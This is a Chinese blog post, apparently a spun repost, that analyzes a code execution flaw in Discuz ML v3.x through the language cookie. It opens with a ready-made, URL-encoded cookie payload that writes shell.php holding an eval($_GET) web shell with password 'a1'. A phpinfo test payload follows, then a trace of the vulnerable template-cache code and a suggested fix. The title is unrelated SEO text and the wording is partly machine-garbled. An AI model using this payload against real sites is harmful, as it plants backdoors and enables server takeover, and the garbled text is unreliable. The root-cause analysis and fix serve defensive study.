首页 » 网站推广 » phpexcel默认644技巧_Discuz Ml v3x 代码实行分析

phpexcel默认644技巧_Discuz Ml v3x 代码实行分析

访客 2024-12-13 0

扫一扫用手机浏览

文章目录 [+]

Discuz Ml v3.x 代码实行剖析

EXP

phpexcel默认644技巧_Discuz Ml v3x 代码实行分析

修正Cookie中的xxxx_language字段为以下内容即可

phpexcel默认644技巧_Discuz Ml v3x 代码实行分析
(图片来自网络侵删)

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27

访问网站首页则会在根目录下天生木马文件,shell.php 密码为a1

定位漏洞的位置

解码exp

'.+file_put_contents('shell.php',urldecode('<?php+ eval($_GET[\"大众a1\公众]);?>')).

修正exp为_language=1.1.1;使其报错

定位到653行

关键代码644行

$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';

cachefile变量是缓存文件,将其写入到/data/template/目录下,并且由DISCUZ_LANG拼接,追踪下DISCUZ_LANG的值

2088-2096行

global $_G;

if($_G['config']['output']['language'] == 'zh_cn') {

return 'SC_UTF8';

} elseif ($_G['config']['output']['language'] == 'zh_tw') {

return 'TC_UTF8';

} else {

//vot !!!! ToDo: Check this for other languages !!!!!!!!!!!!!!!!!!!!!

/vot/ return strtoupper(DISCUZ_LANG) . '_UTF8';

}

可以看到$_G['config']['output']['language']作为DISCUZ_LANG的值

全局搜索['language']

source/class/discuz/discuz_application.php 305行,创造是从cookie中拿到language的值

那么到这里全体漏洞的流程就很明显了,cookie中language参数可控导致DISCUZ_LANG可控,从而导致cachefile的文件名可被注入代码,终极include_once包含一下导致了造成代码实行。

phpinfo验证

Ov1T_2132_language='.phpinfo().';

修复建议

建议修正source/function/function_core.php 644行为

/vot/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';

删除可控变量

实在从漏洞点的注释上来看就知道这是一个未完成的部分,毕竟还是TODO,开拓职员得背锅。

相关文章

php多态若何懂得技巧_php多态性若何理解

多态性是指相同的操作或函数、过程可浸染于多种类型的工具上并得到不同的结果。不同的工具,收到同一将可以产生不同的结果,这种征象称为多...

网站推广 2024-12-15 阅读0 评论0